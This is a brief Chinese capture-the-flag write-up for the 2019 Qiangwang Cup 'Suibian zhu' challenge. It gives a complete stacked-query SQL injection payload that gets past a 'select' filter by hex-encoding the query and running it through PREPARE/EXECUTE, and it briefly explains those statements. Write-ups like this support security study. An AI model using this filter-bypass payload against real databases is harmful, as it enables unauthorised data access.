[强网杯 2019]随便注

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

   prepare…from…是预处理语句,会进行编码转换。
   execute用来执行由SQLPrepare创建的SQL语句。
   SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。